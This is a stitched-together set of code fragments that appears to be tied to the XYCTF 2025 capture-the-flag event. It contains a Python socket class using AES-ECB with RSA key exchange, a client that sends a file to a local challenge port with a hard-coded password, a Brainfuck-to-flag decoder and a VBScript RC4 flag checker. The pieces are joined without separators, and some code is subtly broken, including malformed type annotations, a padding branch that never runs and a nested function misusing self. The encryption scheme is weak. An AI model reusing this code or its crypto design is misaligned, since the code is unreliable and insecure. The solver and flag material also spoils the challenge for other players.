def __init__(self, family: AddressFamily = AF_INET, type: SocketKind = SOCK_STREAM , proto: int = -1, fileno: int = None, is_encrypted: bool = True, AES_key: bytes = None, password: bytes = None) -> None: ''' is_encrypted: use encrypted connection, only for server AES_key: use a fixed AES_key, None for random, must be 16 bytes, only for server password: A fixed password is acquired from the client (must smaller than be 100 bytes), if wrong, the connection will be closed if password is set in server, every time a client connect, the client must send the same password back to the server to accept. if password is set in client, every time you connect to the server, the password will be sent to the server to verify. if password is None, no password will be used. self.Default_message_len: if in encrypted mode, the value must be a multiple of self.BLOCK_SIZE MAKE SURE THE DEFAULT_MESSAGE_LEN OF BOTH SERVER AND CLIENT ARE SAME, Or it could be a hassle ''' self.BLOCK_SIZE = 16 # block size of padding text which will be encrypted by AES # the block size must be a mutiple of 8 self.default_encoder = 'utf8' # the default encoder used in send and recv when the message is not bytes if is_encrypted: if AES_key == None: self.key = get_random_bytes(16) # generate 16 bytes AES code else: self.key = AES_key #TODO check the input self.cipher_aes = AES.new(self.key, AES.MODE_ECB) else: self.key, self.cipher_aes = None, None self.default_message_len = 1024 # length of some basic message, it's best not to go below 1024 bytes if password == None: self.password = None else: self.password = self.turn_to_bytes(password) if len(password) > 100: raise ValueError('The password is too long, it must be smaller than 100 bytes') self.s = socket(family, type, proto, fileno) # main socket def accept(self) -> tuple: ''' Accept with information exchange and key exchange, return the address of the client if the password from client is wrong or not set, raise PasswordError ''' self.s, address = self.s.accept() if self.key == None: is_encrypted = False else: is_encrypted = True if self.password == None: has_password = False else: has_password = True info_dict = { 'is_encrypted' : is_encrypted, 'has_password' : has_password} info_dict = dumps(info_dict).encode(encoding=self.default_encoder) self.s.send(self.turn_to_bytes(len(info_dict))) self.s.send(info_dict) if has_password: password_length = self.unpadding_packets(self.s.recv(3), -1) if not password_length: self.s.close() raise PasswordError(f'The client {address} does not send the password, the connection will be closed') recv_password = self.s.recv(int(password_length.decode(encoding=self.default_encoder))) # the first byte is whether the password is aquired(1) or not(0), the rest is the password, the password is padded to 100 bytes if recv_password != self.password or recv_password[0] == b'0': self.s.send(b'0') self.s.close() raise PasswordError(f'The password {recv_password} is wrong, the connection from {address} will be closed, you can restart the accept() function or put it in a while loop to keep accepting') else: self.s.send(b'1') if is_encrypted: public_key = self.s.recv(450) rsa_public_key = RSA.import_key(public_key) cipher_rsa = PKCS1_OAEP.new(rsa_public_key) encrypted_aes_key = cipher_rsa.encrypt(self.key) self.s.send(encrypted_aes_key) # TODO return address def connect(self, Address: tuple) -> None: ''' Connect with information exchange and key exchange if the password from client is wrong or not set, raise PasswordError ''' self.s.connect(Address) info_dict_len = int(self.s.recv(2).decode(encoding=self.default_encoder)) info_dict = self.s.recv(info_dict_len).decode(encoding=self.default_encoder) info = loads(info_dict) if info['has_password'] == True: if self.password == None: self.s.send(b' ') # send three space to tell the server that the password is not set self.s.close() raise PasswordError('The server requires a password, please set it in the client or server') self.s.send(str(len(self.password)).encode(encoding=self.default_encoder)) self.s.send(self.password) password_confirm = self.s.recv(1) if password_confirm != b'1': self.s.close() raise PasswordError('The password is wrong, the connection will be closed') if info['is_encrypted'] == True: tmp_key = RSA.generate(2048) private_key = tmp_key.export_key() public_key = tmp_key.publickey().export_key() self.s.send(public_key) rsa_private_key = RSA.import_key(private_key) cipher_rsa = PKCS1_OAEP.new(rsa_private_key) encrypted_aes = self.s.recv(256).rstrip(b"\x00") self.key = cipher_rsa.decrypt(encrypted_aes) self.cipher_aes = AES.new(self.key, AES.MODE_ECB) else: self.key, self.cipher_aes = None, None def turn_to_bytes(self, message) -> bytes: ''' Turn str, int, etc. to bytes using {self.default_encoder} ''' type_of_message = type(message) if type_of_message == str: try: message = message.encode(encoding=self.default_encoder) except Exception as e: raise TypeError( 'Unexpected type "{}" of {} when encode it with {}, raw traceback: {}'.format(type_of_message, message, self.default_encoder, e)) elif type_of_message == bytes: pass else: try: message = str(message).encode(encoding=self.default_encoder) except: raise TypeError( 'Unexpected type "{}" of {}'.format(type_of_message, message)) return message
def padding_packets(self, message: bytes, target_length: int = None) -> tuple: ''' Pad the packet to {target_length} bytes with b' ', used in not-encrypted mode The packet must be smaller then {target_length} target_length = None : use self.default_message_len ''' message = self.turn_to_bytes(message) if target_length == None: target_length = self.default_message_len if len(message) > target_length: raise MessageLengthError( 'the length {} bytes of the message is bigger than {} bytes, please use self.send_large_small and self.recv instead'.format(str(len(message)), target_length)) pad_num = target_length-len(message) message += b' ' * pad_num return (message, pad_num) def pad_packets_to_mutiple(self, data: bytes, block_size: int == None) -> bytes: ''' Pad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode target_length = None : use self.BLOCK_SIZE ''' padding_length = block_size - (len(data) % block_size) if padding_length == 0: padding_length = block_size padding = bytes([padding_length]) * padding_length padded_data = data + padding return padded_data def unpad_packets_to_mutiple(self, padded_data: bytes, block_size: int == None) -> bytes: ''' Unpad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode target_length = None : use self.BLOCK_SIZE ''' if block_size == None: block_size = self.BLOCK_SIZE padding = padded_data[-1] if padding > block_size or any(byte != padding for byte in padded_data[-padding:]): raise ValueError("Invalid padding") return padded_data[:-padding] def send_large(self, message) -> None: ''' Send message with the socket can accept bytes, str, int, etc. every non-bytes message will be encoded with self.default_encoder Every packet is forced to be filled to {self.default_message_len} bytes ''' message = self.turn_to_bytes(message) message = compress(message) message_list = [message[i:i + self.default_message_len] for i in range(0, len(message), self.default_message_len)] message_list_len = len(message_list) self._send(self.padding_packets( self.turn_to_bytes(message_list_len))[0]) message_index = 0 for message in message_list: message_padded = self.padding_packets(message) message = message_padded[0] self._send(message) message_index += 1 if message_index == message_list_len: pad_num = message_padded[1] self._send(self.padding_packets( self.turn_to_bytes(str(pad_num)))[0])
def send(self, message) -> None: ''' Send a message with the socket can accept bytes, str, int, etc. The data should not be larger than 9999 bytes It can be used at any time Use self.send_large and recv_large if you want to send a big message ''' message = self.turn_to_bytes(message) try: message_len = self.padding_packets( self.turn_to_bytes(len(message)), target_length=4)[0] except MessageLengthError: raise MessageLengthError( 'The length of message is longer than 9999 bytes({} bytes), please use send_large instead'.format(str(len(message)))) self._send(message_len) self._send(message)
def sendfile(self, file_location: str) -> None: ''' Send a file with the socket THE LOCATION MUST BE A FILE, NOT A DIR {self.default_message_len} bytes are read and sent in a single pass ''' if path.exists(file_location) and not path.isdir(file_location): with open(file_location, 'rb') as file: self.send_large(file.read()) self.send_large('EOF') # Must to use send large, but this is bad else: raise FileExistsError( 'the file {} does not exist or it is a dir'.format(file_location))
def unpadding_packets(self, data: bytes, pad_num: int) -> bytes: ''' Delete the blank bytes at the back of the message pad_num : number of the blank bytes pad_num = -1, delete all the blank bytes the the back(or use .rstrip() directly is ok) ''' if pad_num == -1: data = data.rstrip() else: while pad_num > 0 and data[-1:] == b' ': data = data[:-1] pad_num -= 1 return data
def send_file_in_dir(src_path: str, target_path: str): if not path.exists(src_path): raise FileExistsError('Path {} does not exists'.format(src_path)) filelist_src = listdir(src_path) # Used to return a file name and directory name for file in filelist_src: # Go through all the files or folders src_path_read_new = path.join( path.abspath(src_path), file) target_path_write_new = path.join(target_path, file) if path.isdir(src_path_read_new): # Determine whether the read path is a directory folder, and perform recursion if it is a folder send_file_in_dir(src_path_read_new, target_path_write_new) # recursion else: # If it is a file, send it self.send('FILE') self.send(target_path_write_new) self.sendfile(src_path_read_new) send_file_in_dir(src_path, target_path) self.send('END')
def _send(self, message: bytes) -> None: ''' The basic method to encrypted and send data MUST BE A MUTIPLE OF THE BLOCK SIZE IN ENCRYPTED MODE ''' if self.cipher_aes != None: output_message = self.cipher_aes.encrypt(self.pad_packets_to_mutiple(message, self.BLOCK_SIZE)) # plainmessage = unpad(self.cipher_aes.decrypt(output_message), self.BLOCK_SIZE) else: output_message = message self.s.send(output_message) # The TCP mode
def _recv(self, length: int) -> bytes: ''' The basic method to decrypted and recv data ''' if self.cipher_aes != None: if length % 16 == 0: length += 16 length = (length + self.BLOCK_SIZE-1) // self.BLOCK_SIZE * self.BLOCK_SIZE # round up to multiple of 16 message = self.s.recv(length) message = self.cipher_aes.decrypt(message) message = self.unpad_packets_to_mutiple(message, self.BLOCK_SIZE) else: message = self.s.recv(length) return message # The TCP mode def recv_dir(self, target_path: str, is_overwrite: bool = False) -> None: ''' The method to recv dir from self.send_dir target_path : the path to save the dir is_overwrite : Overwrite a file when a file with the same name appears, otherwise raise an error ''' while True: typeofmessage = self.recv(is_decode=True) if typeofmessage == 'FILE': recv_target_path = path.join(target_path, self.recv()) self.savefile(path.dirname(recv_target_path), path.basename( recv_target_path), is_overwrite=is_overwrite) elif typeofmessage == 'END': return True else: raise RuntimeError( 'Unknown header type of dir_send {}, do you use the wrong method to send a dir? please use self.send_dir instead'.format(typeofmessage))
def recv_large(self, is_decode: bool = True): ''' The return type can be bytes or string The method to recv message WHICH IS SENT BY self.send_large is_decode : decode the message with {self.default_encoder} ''' message_listlen = self._recv(self.default_message_len).decode( encoding=self.default_encoder).rstrip() message_listlen = int(message_listlen) message = b'' for i in range(0, message_listlen): mes = self._recv(self.default_message_len) if i == message_listlen - 1: mes_padnum = int(self._recv(self.default_message_len).decode( encoding=self.default_encoder)) else: mes_padnum = 0 mes = self.unpadding_packets(mes, mes_padnum) message += mes message = decompress(message) if is_decode: message = message.decode(encoding=self.default_encoder) return message
def recv(self, is_decode: bool = True): ''' The return type can be bytes or string The method to recv message WHICH IS SENT BY self.send is_decode : decode the message with {self.default_encoder} ''' message_len = self._recv(4).rstrip() message_len = int(message_len.decode(encoding=self.default_encoder)) message = self._recv(message_len) if is_decode: message = message.decode(encoding=self.default_encoder) return message
def savefile(self, savepath: str, filename: str = 'File_from_python_socket', is_overwrite: bool = False) -> None: ''' Receive and save file sent using self.send_largefile directly savepath : path to save, MUST BE A DIR filename : name of the file is_overwrite : Overwrite a file when a file with the same name appears, otherwise raise an error ''' if filename != None: file_location = path.join(savepath, filename) else: file_location = savepath filename = path.basename(savepath) savepath = path.dirname(savepath) if path.exists(file_location) and not is_overwrite: raise FileExistsError( 'Already has a file named {} in {}'.format(file_location, savepath)) Path(savepath).mkdir(parents=True, exist_ok=True) with open(file_location, 'wb') as file: while True: a = self.recv_large(is_decode=False) if a != 'EOF'.encode(encoding=self.default_encoder): file.write(a) file.flush() else: break
def recvfile(self) -> bytes: ''' Only receive file sent using self.send_largefile ''' output = b'' while True: a = self.recv_large(is_decode=False) if a != 'EOF'.encode(encoding=self.default_encoder): output += a else: break return output s = SimpleTCP(password='LetsLament') s.connect(('127.0.0.1', 13337)) print(s.recv()) print(s.recv()) print(s.recv()) print(s.recv()) s.sendfile('tmp.py') while True: try: print(s.recv()) except: break s.close()
def reverse_bf(bf_code): flag = [] i = 0 n = len(bf_code) while i < n: if bf_code[i] == '>': # Start of a new segment i += 1 # Count x x = 0 while i < n and bf_code[i] == '+': x += 1 i += 1 # Expect '[<' if i >= n or bf_code[i] != '[' or bf_code[i+1] != '<': raise ValueError("Invalid BF segment") i += 2 # Count y y = 0 while i < n and bf_code[i] == '+': y += 1 i += 1 # Expect '>-+-+-+-]' remaining = bf_code[i:i+9] if remaining != '>-+-+-+-]': raise ValueError("Invalid BF segment") i += 9 # Expect '<[-]' if bf_code[i:i+4] != '<[-]': raise ValueError("Invalid BF segment") i += 4 # Calculate character char = chr(x * y) flag.append(char) else: i += 1 return ''.join(flag)
MsgBox "Dear CTFER. Have fun in XYCTF 2025!" flag = InputBox("Enter the FLAG:", "XYCTF") wefbuwiue = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4" ' C4 qwfe = "rc4key"
' RC4 Function RunRC(sMessage, strKey) Dim kLen, i, j, temp, pos, outHex Dim s(255), k(255)
' ? kLen = Len(strKey) For i = 0 To 255 s(i) = i k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1)) ' ASCII Next
' KSA j = 0 For i = 0 To 255 j = (j + s(i) + k(i)) Mod 256 temp = s(i) s(i) = s(j) s(j) = temp Next
' PRGA i = 0 : j = 0 : outHex = "" For pos = 1 To Len(sMessage) i = (i + 1) Mod 256 j = (j + s(i)) Mod 256 temp = s(i) s(i) = s(j) s(j) = temp
' ? Dim plainChar, cipherByte plainChar = Asc(Mid(sMessage, pos, 1)) ' SCII cipherByte = s((s(i) + s(j)) Mod 256) Xor plainChar outHex = outHex & Right("0" & Hex(cipherByte), 2) Next
RunRC = outHex End Function
' If LCase(RunRC(flag, qwfe)) = LCase(wefbuwiue) Then MsgBox "Congratulations! Correct FLAG!" Else MsgBox "Wrong flag." End If